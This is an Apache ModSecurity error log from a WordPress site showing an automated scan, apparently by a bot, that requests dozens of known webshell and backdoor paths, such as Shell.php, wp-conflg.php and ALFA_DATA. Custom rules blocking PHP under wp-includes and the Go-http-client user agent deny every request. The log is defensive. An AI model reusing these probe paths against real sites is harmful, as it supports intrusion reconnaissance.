[Fri Dec 19 22:33:41.021018 2025] [:error] [pid 41451:tid 41478] [client 85.203.23.24:57595] [client 85.203.23.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aUViRQYXFn-DbZghZBH35AAAABg"]
[Fri Dec 19 22:33:46.456965 2025] [:error] [pid 18438:tid 18454] [client 85.203.23.38:22209] [client 85.203.23.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/autoload_classmap.php"] [unique_id "aUViSpRArClWV1iij_S7kwAAAY0"]
[Fri Dec 19 22:33:46.903652 2025] [:error] [pid 41451:tid 41460] [client 85.203.23.37:42939] [client 85.203.23.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/wp-conflg.php"] [unique_id "aUViSgYXFn-DbZghZBH36AAAAAY"]
[Fri Dec 19 22:33:47.342664 2025] [:error] [pid 41451:tid 41473] [client 85.203.23.25:31491] [client 85.203.23.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aUViSwYXFn-DbZghZBH36QAAABM"]
[Fri Dec 19 22:33:47.769015 2025] [:error] [pid 20581:tid 20618] [client 85.203.23.51:36995] [client 85.203.23.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/autoload_classmap.php"] [unique_id "aUViS_xEv7WXNhnFD1mhygAAAIM"]
[Fri Dec 19 22:33:53.201458 2025] [:error] [pid 20582:tid 20662] [client 85.203.23.46:34231] [client 85.203.23.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aUViUcpAnrkQKZ4b5gZbBQAAANQ"]
[Fri Dec 19 22:33:53.624799 2025] [:error] [pid 18438:tid 18449] [client 85.203.23.29:52847] [client 85.203.23.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/php-compat/wp-conflg.php"] [unique_id "aUViUZRArClWV1iij_S7ogAAAYg"]
[Fri Dec 19 22:33:54.081623 2025] [:error] [pid 20675:tid 20688] [client 85.203.23.26:56623] [client 85.203.23.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/wp-conflg.php"] [unique_id "aUViUrMyJ3XqeDRsbQm5xwAAAQA"]
[Fri Dec 19 22:33:54.537696 2025] [:error] [pid 20581:tid 20630] [client 85.203.23.16:43339] [client 85.203.23.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aUViUvxEv7WXNhnFD1mh4AAAAI8"]
[Fri Dec 19 22:33:54.982149 2025] [:error] [pid 20675:tid 20694] [client 85.203.23.34:34475] [client 85.203.23.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aUViUrMyJ3XqeDRsbQm5yAAAAQY"]
[Fri Dec 19 22:33:55.427952 2025] [:error] [pid 16026:tid 16030] [client 85.203.23.37:55945] [client 85.203.23.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aUViU0LVfhf4Jb3enmNXqgAAAUE"]
[Fri Dec 19 22:34:05.881434 2025] [:error] [pid 18438:tid 18444] [client 85.203.23.51:51727] [client 85.203.23.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aUViXZRArClWV1iij_S7rwAAAYM"]
[Fri Dec 19 22:34:06.326609 2025] [:error] [pid 18438:tid 18456] [client 85.203.23.46:40161] [client 85.203.23.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/litespeed/autoload_classmap.php"] [unique_id "aUViXpRArClWV1iij_S7swAAAY8"]
[Fri Dec 19 22:34:11.766572 2025] [:error] [pid 20580:tid 20590] [client 85.203.23.42:26193] [client 85.203.23.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/images/chosen.php"] [unique_id "aUViY0md1op_YdAdgR27QwAAAEQ"]
[Fri Dec 19 22:34:12.220577 2025] [:error] [pid 20675:tid 20712] [client 85.203.23.44:23695] [client 85.203.23.44] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/elementor/includes/template-singl-portfolio.php"] [unique_id "aUViZLMyJ3XqeDRsbQm50AAAARg"]
[Fri Dec 19 22:34:27.670162 2025] [:error] [pid 20580:tid 20600] [client 85.203.23.45:58411] [client 85.203.23.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/elementor/modules/home/about.php"] [unique_id "aUVic0md1op_YdAdgR27TwAAAE4"]
[Fri Dec 19 22:34:43.130144 2025] [:error] [pid 16026:tid 16041] [client 85.203.23.51:37625] [client 85.203.23.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/crop/abc.php"] [unique_id "aUVig0LVfhf4Jb3enmNX5QAAAUw"]
[Fri Dec 19 22:34:48.586943 2025] [:error] [pid 20582:tid 20652] [client 85.203.23.35:54763] [client 85.203.23.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/audio/wp-conflg.php"] [unique_id "aUViiMpAnrkQKZ4b5gZbVwAAAMo"]
[Fri Dec 19 22:34:54.005282 2025] [:error] [pid 41451:tid 41464] [client 85.203.23.14:24111] [client 85.203.23.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/chosen.php"] [unique_id "aUVijgYXFn-DbZghZBH4VAAAAAo"]
[Fri Dec 19 22:34:54.447064 2025] [:error] [pid 20675:tid 20704] [client 85.203.23.5:40623] [client 85.203.23.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/comment-editor/about.php"] [unique_id "aUVijrMyJ3XqeDRsbQm6AgAAARA"]
[Fri Dec 19 22:35:04.901163 2025] [:error] [pid 18438:tid 18452] [client 85.203.23.29:57851] [client 85.203.23.29] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/dokan-child/content-"] [unique_id "aUVimJRArClWV1iij_S8FAAAAYs"]
[Fri Dec 19 22:35:10.353629 2025] [:error] [pid 20675:tid 20695] [client 85.203.23.6:21125] [client 85.203.23.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/pridmag/ot.php"] [unique_id "aUVinrMyJ3XqeDRsbQm6KAAAAQc"]
[Fri Dec 19 22:35:10.779993 2025] [:error] [pid 20582:tid 20646] [client 85.203.23.5:60187] [client 85.203.23.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/consultstreet/content-"] [unique_id "aUVinspAnrkQKZ4b5gZbeQAAAMQ"]
[Fri Dec 19 22:35:11.203426 2025] [:error] [pid 20675:tid 20695] [client 85.203.23.32:30981] [client 85.203.23.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/phpadmin/acp.php"] [unique_id "aUVin7MyJ3XqeDRsbQm6MQAAAQc"]
[Fri Dec 19 22:35:21.641891 2025] [:error] [pid 16026:tid 16049] [client 85.203.23.44:47151] [client 85.203.23.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/Shell.php"] [unique_id "aUViqULVfhf4Jb3enmNYMgAAAVQ"]
[Fri Dec 19 22:35:22.060952 2025] [:error] [pid 41451:tid 41466] [client 85.203.23.24:48353] [client 85.203.23.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/namespaced/admin.php"] [unique_id "aUViqgYXFn-DbZghZBH4fgAAAAw"]
[Fri Dec 19 22:35:22.468674 2025] [:error] [pid 20675:tid 20703] [client 85.203.23.26:30153] [client 85.203.23.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/button/adc.php"] [unique_id "aUViqrMyJ3XqeDRsbQm6RwAAAQ8"]
[Fri Dec 19 22:35:22.927116 2025] [:error] [pid 41451:tid 41468] [client 85.203.23.45:51835] [client 85.203.23.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/advanced-llms-txt-generator/assets/css/css_json.php"] [unique_id "aUViqgYXFn-DbZghZBH4ggAAAA4"]
[Fri Dec 19 22:35:23.374604 2025] [:error] [pid 20580:tid 20607] [client 85.203.23.49:65095] [client 85.203.23.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/taxonomy-exception.php"] [unique_id "aUViq0md1op_YdAdgR279AAAAFU"]
[Fri Dec 19 22:35:28.838608 2025] [:error] [pid 20580:tid 20589] [client 85.203.23.53:61377] [client 85.203.23.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/options-core.php"] [unique_id "aUVisEmd1op_YdAdgR27-wAAAEM"]
[Fri Dec 19 22:35:34.264477 2025] [:error] [pid 18438:tid 18458] [client 85.203.23.32:50797] [client 85.203.23.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/elementor/css/filesss.php"] [unique_id "aUVitpRArClWV1iij_S8TwAAAZE"]
[Fri Dec 19 22:35:34.700128 2025] [:error] [pid 20581:tid 20638] [client 85.203.23.36:30947] [client 85.203.23.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/ectoplasm/moon.php"] [unique_id "aUVitvxEv7WXNhnFD1migQAAAJc"]
[Fri Dec 19 22:35:35.162596 2025] [:error] [pid 20675:tid 20688] [client 85.203.23.53:24211] [client 85.203.23.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aUVit7MyJ3XqeDRsbQm6ZwAAAQA"]
[Fri Dec 19 22:35:35.611052 2025] [:error] [pid 41451:tid 41469] [client 85.203.23.22:39361] [client 85.203.23.22] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/file-manager.phpn.com/wp-content/plugins/phpad/acp.php"] [unique_id "aUVitwYXFn-DbZghZBH4mQAAAA8"]
[Fri Dec 19 22:35:36.027654 2025] [:error] [pid 20582:tid 20650] [client 85.203.23.37:31931] [client 85.203.23.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/drive.php"] [unique_id "aUViuMpAnrkQKZ4b5gZbpAAAAMg"]
[Fri Dec 19 22:35:36.449033 2025] [:error] [pid 20582:tid 20664] [client 85.203.23.43:58827] [client 85.203.23.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-template/gssdd.php"] [unique_id "aUViuMpAnrkQKZ4b5gZbpwAAANY"]
[Fri Dec 19 22:35:36.884151 2025] [:error] [pid 41451:tid 41475] [client 85.203.23.6:60845] [client 85.203.23.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/image/wp-conflg.php"] [unique_id "aUViuAYXFn-DbZghZBH4mgAAABU"]
[Fri Dec 19 22:35:42.324095 2025] [:error] [pid 20581:tid 20628] [client 85.203.23.53:46123] [client 85.203.23.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-author-name/"] [unique_id "aUVivvxEv7WXNhnFD1mikAAAAI0"]
[Fri Dec 19 22:35:42.773307 2025] [:error] [pid 41451:tid 41458] [client 85.203.23.26:49003] [client 85.203.23.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/adout.php"] [unique_id "aUVivgYXFn-DbZghZBH4pAAAAAQ"]
[Fri Dec 19 22:35:58.238158 2025] [:error] [pid 16026:tid 16039] [client 85.203.23.43:60689] [client 85.203.23.43] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/site-logo/"] [unique_id "aUVizkLVfhf4Jb3enmNYawAAAUo"]
[Fri Dec 19 22:35:58.628134 2025] [:error] [pid 20675:tid 20709] [client 85.203.23.28:60269] [client 85.203.23.28] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/reusable-blocks/"] [unique_id "aUVizrMyJ3XqeDRsbQm6mgAAARU"]
[Fri Dec 19 22:35:59.067106 2025] [:error] [pid 20580:tid 20606] [client 85.203.23.35:62747] [client 85.203.23.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/flatsome/inc/admin/options/helpers/"] [unique_id "aUViz0md1op_YdAdgR28KAAAAFQ"]
[Fri Dec 19 22:35:59.481341 2025] [:error] [pid 20675:tid 20698] [client 85.203.23.28:30847] [client 85.203.23.28] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/elementor/screenshots/"] [unique_id "aUViz7MyJ3XqeDRsbQm6mwAAAQo"]
[Fri Dec 19 22:35:59.901624 2025] [:error] [pid 41451:tid 41470] [client 85.203.23.8:41463] [client 85.203.23.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/images/zero.php"] [unique_id "aUVizwYXFn-DbZghZBH44AAAABA"]
[Fri Dec 19 22:36:00.310802 2025] [:error] [pid 18438:tid 18450] [client 85.203.23.45:60197] [client 85.203.23.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/readme.php"] [unique_id "aUVi0JRArClWV1iij_S8iQAAAYk"]
[Fri Dec 19 22:36:00.739794 2025] [:error] [pid 20675:tid 20689] [client 85.203.23.2:53823] [client 85.203.23.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/twenty/function.php"] [unique_id "aUVi0LMyJ3XqeDRsbQm6nAAAAQE"]
[Fri Dec 19 22:36:01.173998 2025] [:error] [pid 41451:tid 41466] [client 85.203.23.44:45385] [client 85.203.23.44] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/lock360.php"] [unique_id "aUVi0QYXFn-DbZghZBH44wAAAAw"]
[Fri Dec 19 22:36:01.601769 2025] [:error] [pid 41451:tid 41469] [client 85.203.23.49:22843] [client 85.203.23.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aUVi0QYXFn-DbZghZBH45gAAAA8"]
[Fri Dec 19 22:36:02.022216 2025] [:error] [pid 41451:tid 41465] [client 85.203.23.35:25955] [client 85.203.23.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/php-compat/wp/rohmuI.php"] [unique_id "aUVi0gYXFn-DbZghZBH46AAAAAs"]
[Fri Dec 19 22:36:12.469805 2025] [:error] [pid 16026:tid 16048] [client 85.203.23.14:59503] [client 85.203.23.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/ocean/wp-hidden2.php"] [unique_id "aUVi3ELVfhf4Jb3enmNYfAAAAVM"]
[Fri Dec 19 22:36:17.904703 2025] [:error] [pid 20580:tid 20607] [client 85.203.23.24:41883] [client 85.203.23.24] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/comment-content/"] [unique_id "aUVi4Umd1op_YdAdgR28PQAAAFU"]
[Fri Dec 19 22:36:18.353845 2025] [:error] [pid 20582:tid 20659] [client 85.203.23.28:51391] [client 85.203.23.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/src/about.php"] [unique_id "aUVi4spAnrkQKZ4b5gZb7AAAANE"]
[Fri Dec 19 22:36:28.764176 2025] [:error] [pid 18438:tid 18458] [client 85.203.23.8:42761] [client 85.203.23.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/berlin.php"] [unique_id "aUVi7JRArClWV1iij_S8wgAAAZE"]
